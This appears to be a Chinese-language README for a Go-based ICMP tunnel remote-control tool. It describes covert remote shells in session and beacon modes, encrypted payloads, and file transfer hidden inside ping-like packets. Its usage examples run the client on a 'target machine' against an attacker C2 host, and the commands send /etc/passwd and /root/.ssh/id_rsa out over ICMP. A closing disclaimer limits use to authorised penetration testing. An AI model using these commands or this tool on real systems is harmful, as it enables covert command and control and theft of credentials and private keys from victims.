ICMP隧道远控工具。
公众号文章:https://mp.weixin.qq.com/s/N1qZ1mAQLB-r6xQ1f6E-DA
- 多模式操作:
- 会话模式 (
session): 提供一个实时的、交互式的远程Shell。 - 信标模式 (
beacon): 客户端以固定的时间间隔回连(心跳),接收并执行服务端下发的指令队列。
- 会话模式 (
- 数据包步态,加密/编码支持:
- 支持
AES(CBC模式),XOR,Base64,Base32以及none(原文) 多种载荷处理方式。 - 支持包长度、发包频率控制,以及部分协议字段自定义。
- 支持
- 文件传输:
- 普通文件传输 (
filetrans): 高效、可靠地传输大文件,支持自定义MTU。 - 隐藏文件传输 (
filetrans-hide): 将文件数据块嵌入到仿真的ping命令载荷中,模拟的8字节struct timeval时间戳和固定的数据序列。
- 普通文件传输 (
Go 环境 (版本 >= 1.20)。
# 编译服务端
go build -o icmpsh_ser ./cmd/server/
# 编译客户端
go build -o icmpsh_cli ./cmd/shell/- 攻击机: 控制主机 (C2),IP地址为111.111.111.11,在此主机运行服务端。
- 目标机: 在此主机上运行客户端。
获得一个beacon模式的交互式shell,通讯流量以AES加密
./icmpsh_ser --token <共享密钥> --crypto-mode <加密模式>
./icmpsh_ser --token "MySecretKey123" --crypto-mode aes --mode beacon--mtu 调整每次发送的数据块大小, --interval 控制发包频率,--crypto-mode 控制传输加密类型。
./icmpsh_cli --ip <服务端IP> --token <共享密钥> --crypto-mode <加密模式>
./icmpsh_cli --ip 111.111.111.11 --token "MySecretKey123" --crypto-mode aes --mode beacon传输单个文件。
服务端接收文件,并将其保存为 icmp_trans_file。
# 语法: ./icmpsh_ser --token <共享密钥> --filetrans
./icmpsh_ser --token "MySecretKey123" --filetrans目标机上运行客户端, --filetrans 指定要发送的文件。 --mtu 调整每次发送的数据块大小,用 --interval控制发包频率,但不支持 --crypto-mode 控制传输加密类型。
# 语法: ./icmpsh_cli --ip <服务端IP> --token <共享密钥> --filetrans <文件路径>
./icmpsh_cli --ip 111.111.111.11 --token "MySecretKey123" --filetrans /etc/passwd --mtu 256 --interval 1隐匿传输单个文件,使用一个看起来和普通ping命令几乎一样的流量来传输文件
服务端只负责接收数据,它不需要关心客户端是用哪种方式发送的。
./icmpsh_ser --token "MySecretKey123" --filetrans使用 --fth ( --filetrans-hide ) 参数。注意,在此模式下, --mtu 是无效的,载荷大小被固定为56字节以模仿 ping 命令,也不支持 --crypto-mode 控制传输加密类型。但可以支持用 --interval 控制发包频率。
# 语法: ./icmpsh_cli --ip <服务端IP> --token <共享密钥> --fth <文件路径>
./icmpsh_cli --ip 111.111.111.11 --token "MySecretKey123" --fth /root/.ssh/id_rsa全屏复制
| 参数 | 别名 | 类型 | 默认值 | 描述 |
|---|---|---|---|---|
| --token | -t | string | "go-icmpshell" | 用于客户端和服务端认证的共享密钥。 |
| --filetrans | -ft | bool | false | 启动文件接收模式。此模式下,其他模式和加密参数无效。 |
| --mode | -m | string | "session" | 运行模式,可选: session (实时会话) 或 beacon (信标)。 |
| --crypto-mode | -cm | string | "none" | 载荷加密/编码模式,可选: aes, xor, base64, base32, none。 |
| --mtu | int | 666 | (会话/信标模式) 定义单包最大载荷,最小为40。 |
全屏复制
| 参数 | 别名 | 类型 | 默认值 | 描述 |
|---|---|---|---|---|
| --ip | -i | string | (必需) | 要连接的服务端IP地址。 |
| --token | -t | string | "go-icmpshell" | 共享密钥,必须与服务端匹配。 |
| --filetrans | -ft | string | "" | 普通文件传输模式,值为要发送的文件路径。与 --fth 及其他模式互斥。 |
| --filetrans-hide | -fth | string | "" | 隐藏文件传输模式,值为要发送的文件路径。与 --ft 及其他模式互斥。 |
| --mode | -m | string | "session" | 运行模式,session 或 beacon。 |
| --crypto-mode | -cm | string | "none" | 加密/编码模式,必须与服务端匹配。 |
| --mtu | int | 666 | 定义单包最大载荷,最小为40。 | |
| --interval | int | 1 | 发包的时间间隔,单位为秒,最小为1。 | |
| --icmpId | uint | 1000 | 通信所使用的ICMP ID。 |
全屏复制
| 操作模式 (通过flag触发) | --mtu ****调整数据块大小 | --interval ****控制发包频率 | --crypto-mode ****控制传输加密类型 |
|---|---|---|---|
| 会话/信标模式 (--mode) | ✅ | ✅ (仅beacon) | ✅ |
| 普通文件传输 (--filetrans) | ✅ | ✅ | ❌ (仅支持原文) |
| 隐藏文件传输 (--fth) | ❌ (固定为56字节) | ✅ | ❌ (仅支持原文) |
本工具仅供授权的渗透测试和安全研究使用。作者不对任何滥用本工具造成的后果负责。请遵守当地法律法规。